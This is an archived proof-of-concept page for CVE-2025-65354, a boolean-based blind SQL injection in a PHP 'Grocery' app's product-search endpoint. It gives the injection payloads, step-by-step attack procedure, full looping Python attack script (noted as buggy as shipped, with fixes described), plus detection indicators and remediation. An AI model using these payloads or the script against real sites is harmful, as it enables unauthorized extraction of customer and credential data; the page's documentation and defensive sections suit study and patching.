PoC Archive PoC Archive
Critical CVE-2025-65354 unpatched

"Grocery" PHP Application `search_products_itname.php` `sitem_name` Boolean-Based SQL Injection (CVE-2025-65354)

by EarthAngel666 · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-65354
Category
web
Affected product
PHP-based "Grocery" web application, Grocery/search_products_itname.php endpoint
Affected versions
Per source repository (specific product/version not stated in the PoC beyond the endpoint path and vulnerable parameter)
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherEarthAngel666
CVE / AdvisoryCVE-2025-65354
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusPoC
Tagsphp, sql-injection, boolean-based-blind-sqli, cwe-89, grocery, unauthenticated, python
RelatedN/A

Affected Target

FieldValue
Software / SystemPHP-based “Grocery” web application, Grocery/search_products_itname.php endpoint
Versions AffectedPer source repository (specific product/version not stated in the PoC beyond the endpoint path and vulnerable parameter)
Language / PlatformPoC written in Python 3 (requests); target is a PHP web application
Authentication RequiredNo
Network Access RequiredYes

Summary

The target is a PHP “Grocery” web application whose product-search endpoint, Grocery/search_products_itname.php, takes a sitem_name parameter that is concatenated into a backend SQL query without parameterization or escaping. This allows classic boolean-based blind SQL injection: an attacker sends paired requests with a true condition (-1' OR 5*5=25 --) and a false condition (-1' OR 5*5=26 --), plus a compound boolean payload (-1' OR 231=6 AND 000648=000648 --), and compares the responses to infer database contents one condition at a time. The included PoC script is thin and, as shipped, contains two functional bugs that keep it from working unmodified: it sends the SQLi payload as an HTTP header (sitem_name) rather than as the actual GET/POST form parameter the vulnerable PHP script reads, and its “random User-Agent” logic calls random.choice("user-agents.txt"), which picks a random character from the literal filename string instead of loading a line from the wordlist file. The underlying SQL injection payloads and the identified vulnerable endpoint/parameter are genuine; the delivery mechanism in the script needs to be corrected to actually reach the vulnerable parameter.


Vulnerability Details

Root Cause

The backend PHP endpoint Grocery/search_products_itname.php builds a SQL query using the sitem_name request parameter without sanitization or prepared statements (inferred from the classic boolean-based SQLi test payloads used against it; server-side source is not included in this repository). The PoC demonstrates the injection point with three payload variants sent as the value of sitem_name:

1
2
3
headers1 = {'Host': url, 'User-Agent': useragents, 'sitem_name': "-1' OR 5*5=25 --"}
headers2 = {'Host': url, 'User-Agent': useragents, 'sitem_name': "-1' OR 5*5=26 --"}
headers3 = {'Host': url, 'User-Agent': useragents, 'sitem_name': "-1' OR 231=6 AND 000648=000648 --"}

5*5=25 is a true tautology and 5*5=26 is false — a classic differential pair used to confirm boolean-based blind SQLi by diffing the two responses.

Attack Vector

  1. Attacker identifies a target running the vulnerable “Grocery” PHP application and locates Grocery/search_products_itname.php.
  2. Attacker submits the sitem_name parameter (as an actual GET/POST field — see Notes below on the script’s header-vs-parameter bug) with a true-condition payload, e.g. -1' OR 5*5=25 --, and records the response (status code, length, content).
  3. Attacker submits the same request with a false-condition payload, e.g. -1' OR 5*5=26 --, and compares the response to the true case.
  4. A consistent difference between true/false responses confirms boolean-based blind SQL injection; the attacker then iterates additional boolean conditions (e.g. -1' OR 231=6 AND 000648=000648 --) to extract database contents character-by-character or table/column existence bit-by-bit.
  5. The script loops indefinitely, rotating a User-Agent header between requests to reduce trivial fingerprinting/blocking (as shipped this rotation does not actually read the wordlist file — see Notes).

Impact

Successful exploitation yields full boolean-based blind SQL injection against the backend database of the “Grocery” application — enabling extraction of arbitrary database contents (credentials, customer/order data, PII) and, depending on database privileges, potential further escalation (e.g., stacked queries, file read/write via INTO OUTFILE on MySQL).


Environment / Lab Setup

Target:   A running instance of the vulnerable "Grocery" PHP application,
          exposing /Grocery/search_products_itname.php and reading a
          "sitem_name" request parameter.
Attacker: Python 3
          requests
          (user-agents.txt included alongside the script, intended as a
          rotation pool, though the shipped code does not correctly read it)

Proof of Concept

PoC Script

See main.py (and user-agents.txt) in this folder.

1
2
3
pip install requests

python3 main.py

The script continuously sends the three sitem_name boolean payloads and prints each response’s status code, headers, and body for manual comparison/analysis.


Detection & Indicators of Compromise

- Repeated requests to /Grocery/search_products_itname.php containing SQL
  meta-characters ('  , -- , OR , AND) in the sitem_name value, whether sent
  as a form field or (per this script's bug) as a raw HTTP header
- Pairs/sequences of near-identical requests differing only in a trailing
  boolean expression (classic boolean-based blind SQLi probing pattern)
- Anomalous single-character or garbage User-Agent strings in access logs
  if a similarly-buggy UA-rotation routine reaches production traffic
- Database logs showing repetitive similarly-shaped queries against the
  product search table with only the WHERE clause's boolean tail changing

Signs of compromise:

  • High-frequency automated requests to the product search endpoint from a single source.
  • Application/database errors or unusual response-time variance correlated with sitem_name values containing quotes or SQL keywords.
  • Evidence of successful data exfiltration (unusual read volume, unexpected result-set sizes).

Remediation

ActionDetail
Primary fixNo official patch identified at time of mirroring — see references. The sitem_name parameter in search_products_itname.php must be parameterized (prepared statements / bound parameters) rather than concatenated into SQL.
Interim mitigationDeploy a WAF rule blocking classic SQLi tokens (quotes, --, OR/AND boolean patterns) in the sitem_name parameter; run the search endpoint’s database account with least privilege; add input validation/allow-listing for the search field.

References


Notes

Mirrored from https://github.com/EarthAngel666/CVE-2025-65354 on 2026-07-06. The repository ships only main.py and user-agents.txt with no README of its own. The PoC is thin and has two functional bugs as committed: (1) it hardcodes the target as https://www.example.com/Grocery/search_products_itname.php and sends the SQLi payload as a sitem_name HTTP header rather than an actual GET/POST parameter, so it would not reach the vulnerable code path unmodified; (2) random.choice("user-agents.txt") selects a random character from the literal filename string rather than reading a line from the file, so User-Agent rotation never actually engages the wordlist. The SQL injection payloads themselves and the identified vulnerable endpoint/parameter are genuine and reflect real boolean-based blind SQLi technique.

main.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import random

url = "https://www.example.com/" + "Grocery/search_products_itname.php"


print("https://github.com/amaansiddd787/CVE-2025-65354")

while True:

    useragents = random.choice("user-agents.txt")

    headers1 = {
        'Host': url,
        'User-Agent': useragents,
        'sitem_name': "-1' OR 5*5=25 --"
    }

    headers2 = {
        'Host': url,
        'User-Agent': useragents,
        'sitem_name': "-1' OR 5*5=26 --"
    }

    headers3 = {
        'Host': url,
        'User-Agent': useragents,
        'sitem_name': "-1' OR 231=6 AND 000648=000648 --"
    }


    response1 = requests.post(url, headers1)
    response2 = requests.post(url, headers2)
    response3 = requests.post(url, headers3)

    print(url)
    print(response1)
    print(response1.status_code)
    print(response1.headers)
    print(response1.text)
    print(response2)
    print(response2.status_code)
    print(response2.headers)
    print(response2.text)
    print(response3)
    print(response3.status_code)
    print(response3.headers)
    print(response3.text)